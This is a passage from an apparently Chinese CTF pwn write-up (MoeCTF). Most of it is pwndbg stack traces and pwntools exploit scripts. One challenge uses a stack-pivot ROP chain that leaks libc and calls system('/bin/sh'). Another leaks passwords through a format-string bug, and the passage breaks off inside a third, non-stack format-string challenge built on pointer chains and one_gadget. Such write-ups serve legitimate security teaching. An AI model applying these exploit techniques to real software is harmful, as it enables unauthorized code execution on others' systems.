00:0000│ rsp 0x7fff76f94a90 ◂— 1

pwndbg> tele 0x404840
00:0000│ rsi 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
01:0008│-038 0x404848 (bss_buffer+1960) —▸ 0x40119e (magic+8) ◂— pop rdi
02:0010│-030 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64
03:0018│-028 0x404858 (bss_buffer+1976) —▸ 0x401070 (puts@plt) ◂— endbr64
04:0020│-020 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
05:0028│-018 0x404868 (bss_buffer+1992) ◂— 0
... ↓ 2 skipped
08:0040│ rbp 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
09:0048│+008 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
  1. 第二次leave后
*RBP  0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
*RSP 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
*RIP 0x40127c (vuln+116) ◂— ret

► 0x40127c <vuln+116> ret

00:0000│ rsp 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
  1. 第二次retn后,第二次ret返回的是我们控制的leave
 RBP  0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
*RSP 0x404890 (bss_buffer+2032) ◂— 0
*RIP 0x40127b (vuln+115) ◂— leave

► 0x40127b <vuln+115> leave

00:0000│ rsp 0x404890 (bss_buffer+2032) ◂— 0
... ↓ 7 skipped
  1. 控制执行leave后
*RBP  0x404780 (bss_buffer+1760) ◂— 0
*RSP 0x404848 (bss_buffer+1960) —▸ 0x40119e (magic+8) ◂— pop rdi
*RIP 0x40127c (vuln+116) ◂— ret

► 0x40127c <vuln+116> ret

00:0000│ rsp 0x404848 (bss_buffer+1960) —▸ 0x40119e (magic+8) ◂— pop rdi
01:0008│+0d0 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64
02:0010│+0d8 0x404858 (bss_buffer+1976) —▸ 0x401070 (puts@plt) ◂— endbr64
03:0018│+0e0 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
04:0020│+0e8 0x404868 (bss_buffer+1992) ◂— 0
... ↓ 2 skipped
07:0038│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
08:0040│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
  1. 控制执行ret后,即将执行put
 RBP  0x404780 (bss_buffer+1760) ◂— 0
*RSP 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64
*RIP 0x40119e (magic+8) ◂— pop rdi

► 0x40119e <magic+8> pop rdi RDI => 0x404018 (puts@got[plt])
0x40119f <magic+9> ret <puts@plt>

0x401070 <puts@plt> endbr64
0x401074 <puts@plt+4> bnd jmp qword ptr [rip + 0x2f9d] <puts>

00:0000│ rsp 0x404850 (bss_buffer+1968) —▸ 0x404018 (puts@got[plt]) —▸ 0x7b3a0bc80e50 (puts) ◂— endbr64
01:0008│+0d8 0x404858 (bss_buffer+1976) —▸ 0x401070 (puts@plt) ◂— endbr64
02:0010│+0e0 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
03:0018│+0e8 0x404868 (bss_buffer+1992) ◂— 0
... ↓ 2 skipped
06:0030│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
07:0038│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
  1. put结束前
 RBP  0x404780 (bss_buffer+1760) ◂— 0
*RSP 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
*RIP 0x7b3a0bc80f82 (puts+306) ◂— ret

► 0x7b3a0bc80f82 <puts+306> ret <vuln+92>

00:0000│ rsp 0x404860 (bss_buffer+1984) —▸ 0x401264 (vuln+92) ◂— lea rax, [rbp - 0x40]
01:0008│+0e8 0x404868 (bss_buffer+1992) ◂— 0
... ↓ 2 skipped
04:0020│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
05:0028│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
  1. 第三次read前
 RBP  0x404780 (bss_buffer+1760) ◂— 0
RSP 0x404868 (bss_buffer+1992) ◂— 0
*RIP 0x401275 (vuln+109) ◂— call read@plt

► 0x401275 <vuln+109> call read@plt <read@plt>
fd: 0 (pipe:[82862])
buf: 0x404740 (bss_buffer+1696) ◂— 0
nbytes: 0x50

00:0000│ rsp 0x404868 (bss_buffer+1992) ◂— 0
... ↓ 2 skipped
03:0018│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) ◂— 0
04:0020│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave
  1. 第三次read结束后
 RBP  0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
RSP 0x404868 (bss_buffer+1992) ◂— 0
*RIP 0x40127b (vuln+115) ◂— leave

► 0x40127b <vuln+115> leave

00:0000│ rsp 0x404868 (bss_buffer+1992) ◂— 0
... ↓ 2 skipped
03:0018│+100 0x404880 (bss_buffer+2016) —▸ 0x404840 (bss_buffer+1952) —▸ 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— ...
04:0020│+108 0x404888 (bss_buffer+2024) —▸ 0x40127b (vuln+115) ◂— leave

00:0000│ rsi 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
01:0008│-038 0x404748 (bss_buffer+1704) —▸ 0x40119f (magic+9) ◂— ret
02:0010│-030 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi
03:0018│-028 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */
04:0020│-020 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64
05:0028│-018 0x404768 (bss_buffer+1736) ◂— 0
... ↓ 2 skipped
08:0040│ rbp 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
09:0048│+008 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
  1. 第三次leave后
*RBP  0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
*RSP 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
*RIP 0x40127c (vuln+116) ◂— ret

► 0x40127c <vuln+116> ret <vuln+115>

0x40127b <vuln+115> leave
0x40127c <vuln+116> ret <vuln+115>

00:0000│ rsp 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
  1. 第三次ret后,第三次ret返回的也是我们控制的leave
 RBP  0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
*RSP 0x404790 (bss_buffer+1776) —▸ 0x7b3a0bc8aeed (_IO_file_write+45) ◂— test rax, rax
*RIP 0x40127b (vuln+115) ◂— leave

► 0x40127b <vuln+115> leave
0x40127c <vuln+116> ret <magic+9>

0x40119f <magic+9> ret <magic+8>

0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678
0x40119f <magic+9> ret <system>

00:0000│ rsp 0x404790 (bss_buffer+1776) —▸ 0x7b3a0bc8aeed (_IO_file_write+45) ◂— test rax, rax
  1. 控制执行的leave后
*RBP  0x404680 (bss_buffer+1504) ◂— 0
*RSP 0x404748 (bss_buffer+1704) —▸ 0x40119f (magic+9) ◂— ret
*RIP 0x40127c (vuln+116) ◂— ret

► 0x40127c <vuln+116> ret <magic+9>

0x40119f <magic+9> ret <magic+8>

0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678
0x40119f <magic+9> ret <system>

00:0000│ rsp 0x404748 (bss_buffer+1704) —▸ 0x40119f (magic+9) ◂— ret
01:0008│+0d0 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi
02:0010│+0d8 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│+0e0 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64
04:0020│+0e8 0x404768 (bss_buffer+1736) ◂— 0
... ↓ 2 skipped
07:0038│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
08:0040│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
  1. 控制执行的ret后
 RBP  0x404680 (bss_buffer+1504) ◂— 0
*RSP 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi
*RIP 0x40119f (magic+9) ◂— ret

► 0x40119f <magic+9> ret <magic+8>

0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678
0x40119f <magic+9> ret <magic+8>

0x40119e <magic+8> pop rdi
0x40119f <magic+9> ret <magic+8>

0x40119e <magic+8> pop rdi

00:0000│ rsp 0x404750 (bss_buffer+1712) —▸ 0x40119e (magic+8) ◂— pop rdi
01:0008│+0d8 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│+0e0 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64
03:0018│+0e8 0x404768 (bss_buffer+1736) ◂— 0
... ↓ 2 skipped
06:0030│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
07:0038│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
  1. magic执行
 RBP  0x404680 (bss_buffer+1504) ◂— 0
*RSP 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */
*RIP 0x40119e (magic+8) ◂— pop rdi

► 0x40119e <magic+8> pop rdi RDI => 0x7b3a0bdd8678
0x40119f <magic+9> ret <system>

0x7b3a0bc50d70 <system> endbr64
0x7b3a0bc50d74 <system+4> test rdi, rdi 0x7b3a0bdd8678 & 0x7b3a0bdd8678 EFLAGS => 0x206 [ cf PF af zf sf IF df of ac ]
0x7b3a0bc50d77 <system+7> ✘ je system+16 <system+16>

00:0000│ rsp 0x404758 (bss_buffer+1720) —▸ 0x7b3a0bdd8678 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│+0e0 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64
02:0010│+0e8 0x404768 (bss_buffer+1736) ◂— 0
... ↓ 2 skipped
05:0028│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
06:0030│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave
  1. system执行
 RBP  0x404680 (bss_buffer+1504) ◂— 0
*RSP 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64
*RIP 0x40119f (magic+9) ◂— ret

► 0x40119f <magic+9> ret <system>

0x7b3a0bc50d70 <system> endbr64
0x7b3a0bc50d74 <system+4> test rdi, rdi 0x7b3a0bdd8678 & 0x7b3a0bdd8678 EFLAGS => 0x206 [ cf PF af zf sf IF df of ac ]
0x7b3a0bc50d77 <system+7> ✘ je system+16 <system+16>

0x7b3a0bc50d79 <system+9> jmp 0x7b3a0bc50900 <0x7b3a0bc50900>

00:0000│ rsp 0x404760 (bss_buffer+1728) —▸ 0x7b3a0bc50d70 (system) ◂— endbr64
01:0008│+0e8 0x404768 (bss_buffer+1736) ◂— 0
... ↓ 2 skipped
04:0020│+100 0x404780 (bss_buffer+1760) —▸ 0x404740 (bss_buffer+1696) —▸ 0x404680 (bss_buffer+1504) ◂— 0
05:0028│+108 0x404788 (bss_buffer+1768) —▸ 0x40127b (vuln+115) ◂— leave

上面就是我们的全部过程,看起来比较复杂,但是思路是很清晰的

p = start()
leave_retn_addr=0x40127b
start_addr=0x401264
pop_rdi_ret_addr=0x40119e
puts_got=0x404018
puts_plt=0x401070
write_addr=0x404880
p.recvuntil(b"> ")
payload1=b'a'*0x40 #填充缓存区
payload1+=p64(write_addr) #转移rbp
payload1+=p64(start_addr) #重新执行read
p.send(payload1)

payload2=p64(write_addr-0x100) #再次转移rbp,这行所在是write_addr-0x40
payload2+=p64(pop_rdi_ret_addr) #控制参数
payload2+=p64(puts_got) #输出got表地址
payload2+=p64(puts_plt) #执行puts
payload2+=p64(start_addr) #重新执行read
payload2+=p64(0)*3 #填充
payload2+=p64(write_addr-0x40) #指向payload2第一个8字节,程序原有的leave将rbp移到write_addr-0x40
payload2+=p64(leave_retn_addr) #重新执行leave;ret,leave使rsp指向rbp+8,rbp指向write_addr-0x100,ret将pop rdi弹入rip执行
p.send(payload2)
data = p.recvuntil(b'\x0a')[:-1]
puts_addr = u64(data[-6:].ljust(8, b'\x00'))
log.success(hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
sys_addr=libc_base+libc.sym["system"]
bin_addr=libc_base+next(libc.search(b"/bin/sh"))

payload3=p64(write_addr-0x200) #转移rbp,这行所在是write_addr-0x140
payload3+=p64(pop_rdi_ret_addr+1) #ret栈对齐
payload3+=p64(pop_rdi_ret_addr) #控制参数
payload3+=p64(bin_addr) #/bin/sh\x00
payload3+=p64(sys_addr) #system
payload3+=p64(0)*3 #填充
payload3+=p64(write_addr-0x140) #指向payload3第一个8字节,程序原有的leave将rbp移到write_addr-0x140
payload3+=p64(leave_retn_addr) #重新执行leave;ret,leave使rsp指向rbp+8,rbp指向write_addr-0x200,ret将pop rdi弹入rip执行
p.send(payload3)

p.interactive()

fmt

int __fastcall main(int argc, const char **argv, const char **envp)
{
char *s2_1; // [rsp+8h] [rbp-88h]
char s1[16]; // [rsp+10h] [rbp-80h] BYREF
char s2[16]; // [rsp+20h] [rbp-70h] BYREF
char s[88]; // [rsp+30h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+88h] [rbp-8h]

v8 = __readfsqword(0x28u);
init(argc, argv, envp);
s2_1 = (char *)malloc(0x20uLL);
generate(s2, 5LL);
generate(s2_1, 5LL);
puts("Hey there, little one, what's your name?");
fgets(s, 80, stdin);
printf("Nice to meet you,");
printf(s);
puts("I buried two treasures on the stack.Can you find them?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2, 5uLL) )
lose();
puts("Yeah,another one?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2_1, 5uLL) )
lose();
win();
return 0;
}
unsigned __int64 __fastcall generate(__int64 a1, unsigned __int64 i_1)
{
unsigned __int64 i; // [rsp+18h] [rbp-48h]
char abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
strcpy(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
for ( i = 0LL; i < i_1; ++i )
*(_BYTE *)(a1 + i) = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[(int)arc4random_uniform(52LL)];
*(_BYTE *)(a1 + i_1) = 0;
return v5 - __readfsqword(0x28u);
}
int win()
{
puts("You got it!");
return system("/bin/sh");
}

运行完generate后

00:0000│ rsp 0x7ffcc2f736c0 ◂— 0xc000
01:0008│-088 0x7ffcc2f736c8 —▸ 0x654944ad82a0 ◂— 0x4e4c654b67 /* 'gKeLN' */
02:0010│-080 0x7ffcc2f736d0 ◂— 0x1b00000
03:0018│-078 0x7ffcc2f736d8 ◂— 0x300000
04:0020│-070 0x7ffcc2f736e0 ◂— 0x4e6966444f /* 'ODfiN' */
05:0028│-068 0x7ffcc2f736e8 —▸ 0x7ffcc2f73718 ◂— 0
06:0030│-060 0x7ffcc2f736f0 ◂— 0xc500000006
07:0038│-058 0x7ffcc2f736f8 ◂— 0

可以看到一个密码储存在一个地址处,可以用%s泄露,另一个密码就是栈上的地址,可以用%p泄露

计算好偏移并接收泄露的密码,再发送出去就可以了

p = start()
p.recvuntil(b"Hey there, little one, what's your name?\n")
payload=b'A'*8+b'%7$s'+b'%10$p'
p.sendline(payload)
p.recvuntil(b"Nice to meet you,")
p.recvuntil(b'A'*8)
s2_1= p.recv(5)
hex_str=p.recv(12)
hex_int = int(hex_str, 16)
byte_data = hex_int.to_bytes(length=5, byteorder='little')
s2 = byte_data.decode('ascii', errors='ignore')
p.recvuntil(b"I buried two treasures on the stack.Can you find them?\n")
p.sendline(s2)
p.recvuntil(b"Yeah,another one?\n")
p.sendline(s2_1)
p.interactive()

fmt_s

这题是我认为这次比赛pwn题最难的一道

int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
puts("You're walking down the road when a monster appear.");
for ( i = 1; i <= 3 && !flag; ++i )
talk();
if ( (unsigned __int64)atk <= 0x1BF52 )
puts("You've been eaten by the monster.");
else
he();
return 0;
}
__int64 talk()
{
puts("You start talking to him...");
flag ^= 1u;
read(0, fmt, 0x20uLL);
printf(fmt);
puts("?");
puts("You enraged the monster-prepare for battle!");
return my_read(&atk, 8LL);
}
unsigned __int64 he()
{
char command[6]; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
qmemcpy(command, "a_flag", sizeof(command));
puts("The monster is defeated, and you obtain: flag?");
system(command);
return v2 - __readfsqword(0x28u);

fmt写入在bss段上,属于一道非栈上格式化字符串漏洞题

.bss:00000000004040A0                 public atk
.bss:00000000004040A0 atk dq ? ; DATA XREF: talk+7A↑o
.bss:00000000004040A0 ; main:loc_4013BE↑r
.bss:00000000004040A8 public flag
.bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r
.bss:00000000004040A8 ; talk+24↑w ...
.bss:00000000004040AC align 20h
.bss:00000000004040C0 public fmt
.bss:00000000004040C0 ; char fmt[256]
.bss:00000000004040C0 fmt db 100h dup(?) ; DATA XREF: talk+2F↑o
.bss:00000000004040C0 ; talk+43↑o
.bss:00000000004040C0 _bss ends

没有后门函数,最好的方法就是使用one_gadget,修改返回地址来达到劫持程序的目的

非栈上格式化字符串一般是打一个指针串,就是先修改一个指针指向可以修改的地方,然后修改这个指针指向的指针的内容

00:0000 |  rsp 0x7ffd9784e118 → 0x40127c (vuln+101) ← lea rax, [rip + 0x2ddd]
01:0008 | -010 0x7ffd9784e120 → 0x40129e (main) ← endbr64
02:0010 | -008 0x7ffd9784e128 ← 0x3004011fa
03:0018 | rbp 0x7ffd9784e130 → 0x7ffd9784e140 ← 1
04:0020 | +008 0x7ffd9784e138 → `0x4012ba (main+28)` ← mov eax, 0
05:0028 | +010 0x7ffd9784e140 ← 1
06:0030 | +018 0x7ffd9784e148 → 0x7fecc58f6d90 (__libc_start_call_main+128) ← mov edi, eax
07:0038 | +020 0x7ffd9784e150 ← 0
08:0040 | +028 0x7ffd9784e158 → 0x40129e (main) ← endbr64
09:0048 | +030 0x7ffd9784e160 ← 0x19784e240
0a:0050 | +038 `0x7ffd9784e168 → 0x7ffd9784e258 → 0x7ffd9785011b` ← 0x4853006e77702f2e / * './pwn' */
0b:0058 | +040 0x7ffd9784e170 ← 0
0c:0060 | +048 0x7ffd9784e178 ← 0xe37404db4f04c105
0d:0068 | +050 0x7ffd9784e180 → 0x7ffd9784e258 → 0x7ffd9785011b ← 0x4853006e77702f2e / * './pwn' */
0e:0070 | +058 0x7ffd9784e188 → 0x40129e (main) ← endbr64
0f:0078 | +060 0x7ffd9784e190 → 0x403db8 (__do_global_dtors_aux_fini_array_entry) → 0x401180 (__do_global_dtors_aux) ← endbr64

比如说,上面0x4012ba (main+28)是 vul 函数的返回地址,我们是不能直接修改这个值的

栈地址 –>addr2–>addr3,已知栈地址是第几个参数,我们能修改的是 addr3

栈上一般都有一些符合上述形式的链,如0a:0050 | +038 0x7ffd9784e168 → 0x7ffd9784e258 → 0x7ffd9785011b

我们可以修改 addr3 为 0x7ffd9784e138 (vul 函数返回地址在栈上的位置)

这样的话,我们只需要知道 addr2 是第几个参数,那么我们就可以通过 addr2–>addr3–>vul_ret_addr 来修改 vul 函数的返回地址

下面演示的是“诸葛连弩”的打法:

栈上一般都会有可以获得libc基地址的东西,比如说__libc_start_main

我们先来看看talk函数的栈内容吧

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
01:0008│-008 0x7ffea6500678 —▸ 0x40136f (main) ◂— endbr64
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0x100401110
06:0030│+020 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax
08:0040│+030 0x7ffea65006b0 ◂— 0
09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64
0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0c:0060│+050 0x7ffea65006d0 ◂— 0
0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c
0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64
10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
11:0088│+078 0x7ffea65006f8 —▸ 0x7913edace040 (_rtld_global) —▸ 0x7913edacf2e0 ◂— 0
12:0090│+080 0x7ffea6500700 ◂— 0x92dbb32a1476566c
13:0098│+088 0x7ffea6500708 ◂— 0x9f01248f239e566c
14:00a0│+090 0x7ffea6500710 ◂— 0x791300000000
15:00a8│+098 0x7ffea6500718 ◂— 0
... ↓ 3 skipped
19:00c8│+0b8 0x7ffea6500738 ◂— 0xb0add8007ab87600
1a:00d0│+0c0 0x7ffea6500740 ◂— 0
1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1c:00e0│+0d0 0x7ffea6500750 —▸ 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
1d:00e8│+0d8 0x7ffea6500758 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
1e:00f0│+0e0 0x7ffea6500760 —▸ 0x7913edacf2e0 ◂— 0
1f:00f8│+0e8 0x7ffea6500768 ◂— 0
20:0100│+0f0 0x7ffea6500770 ◂— 0
21:0108│+0f8 0x7ffea6500778 —▸ 0x401110 (_start) ◂— endbr64
22:0110│+100 0x7ffea6500780 —▸ 0x7ffea65007b0 ◂— 1
23:0118│+108 0x7ffea6500788 ◂— 0
24:0120│+110 0x7ffea6500790 ◂— 0
25:0128│+118 0x7ffea6500798 —▸ 0x401135 (_start+37) ◂— hlt
26:0130│+120 0x7ffea65007a0 —▸ 0x7ffea65007a8 ◂— 0x1c
27:0138│+128 0x7ffea65007a8 ◂— 0x1c
28:0140│+130 0x7ffea65007b0 ◂— 1
29:0148│ r12 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
2a:0150│+140 0x7ffea65007c0 ◂— 0
2b:0158│+148 0x7ffea65007c8 —▸ 0x7ffea6502a14 ◂— 'SHELL=/bin/bash'
2c:0160│+150 0x7ffea65007d0 —▸ 0x7ffea6502a24 ◂— 'COLORTERM=truecolor'

从这里可以得到libc基址

1b:00d8│+0c8 0x7ffea6500748 —▸ 0x7913ed829e40 (__libc_start_main+128)

偏移量是33,使用%33$p将地址输出出来并计算libc基址得到one_gadget地址

观察发现07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax是主函数的返回地址

偏移量是13,使用%13$p将地址输出出来便于修改为one_gadget

再将rbp的地址打印出来,便于修改rbp来达成one_gadget实现条件

02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1

偏移量是8,打印 0x7ffea65006a0,再减去0x20得到rbp地址

另外要不断执行talk利用漏洞,需要注意for ( i = 1; i <= 3 && !flag; ++i )

每次执行都有异或操作flag ^= 1u;

需要我们每次利用都要使flag为0,怎么修改呢?

观察到

.bss:00000000004040A0 atk             dq ?                    ; DATA XREF: talk+7A↑o
.bss:00000000004040A0 ; main:loc_4013BE↑r
.bss:00000000004040A8 public flag
.bss:00000000004040A8 flag dd ? ; DATA XREF: talk+1B↑r
.bss:00000000004040A8 ; talk+24↑w ...
return my_read(&atk, 8LL);

atk可以覆盖flag,于是我使用fffffff0来将flag覆盖为0

我们还需要无限次操作,修改i是必要的,此时我们只剩下两次操作机会,相当于只能修改一次任意地址的任意内容

注意到i是栈上的,第一次我们修改一个三连以上指针的第三个指针为i的符号位地址,第二次利用第二个指针来修改i的内容

这是第二次read前

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
01:0008│-008 0x7ffea6500678 ◂— 0x80040136f
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0x200401110
06:0030│ r9 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax

可以看见

int i; // [rsp+Ch] [rbp-4h]05:0028│+018 0x7ffea6500698 ◂— 0x200401110,这个2正是存放在主函数的栈上的i

所以地址是rbp+0x18,又因为要改的是符号位,所以地址是rbp+0x18+7

详细演示一下这段代码的作用

p.recvuntil(b"You start talking to him...\n")
payload2=b"%" + str(i_addr).encode("utf-8") + b"c%17$hn\x00"
p.send(payload2)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")
p.recvuntil(b"You start talking to him...\n")
payload3=b"%" + str(0xff).encode("utf-8") + b"c%47$hhn"
p.send(payload3)
p.recvuntil(b"You enraged the monster-prepare for battle!\n")
p.send(b"fffffff0")

第二次printf前

00:0000│ rsp 0x7ffea6500670 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
01:0008│-008 0x7ffea6500678 ◂— 0x80040136f
02:0010│ rbp 0x7ffea6500680 —▸ 0x7ffea65006a0 ◂— 1
03:0018│+008 0x7ffea6500688 —▸ 0x4013b1 (main+66) ◂— add dword ptr [rbp - 4], 1
04:0020│+010 0x7ffea6500690 ◂— 0x1000
05:0028│+018 0x7ffea6500698 ◂— 0x200401110
06:0030│ r9 0x7ffea65006a0 ◂— 1
07:0038│+028 0x7ffea65006a8 —▸ 0x7913ed829d90 ◂— mov edi, eax
08:0040│+030 0x7ffea65006b0 ◂— 0
09:0048│+038 0x7ffea65006b8 —▸ 0x40136f (main) ◂— endbr64
0a:0050│+040 0x7ffea65006c0 ◂— 0x1a65007a0
0b:0058│+048 0x7ffea65006c8 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0c:0060│+050 0x7ffea65006d0 ◂— 0
0d:0068│+058 0x7ffea65006d8 ◂— 0x6d26ff8a1914566c
0e:0070│+060 0x7ffea65006e0 —▸ 0x7ffea65007b8 —▸ 0x7ffea65029ee ◂— '/home/ubuntu/Moectf/fmt_s/pwn_patched'
0f:0078│+068 0x7ffea65006e8 —▸ 0x40136f (main) ◂— endbr64
10:0080│+070 0x7ffea65006f0 —▸ 0x403e00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
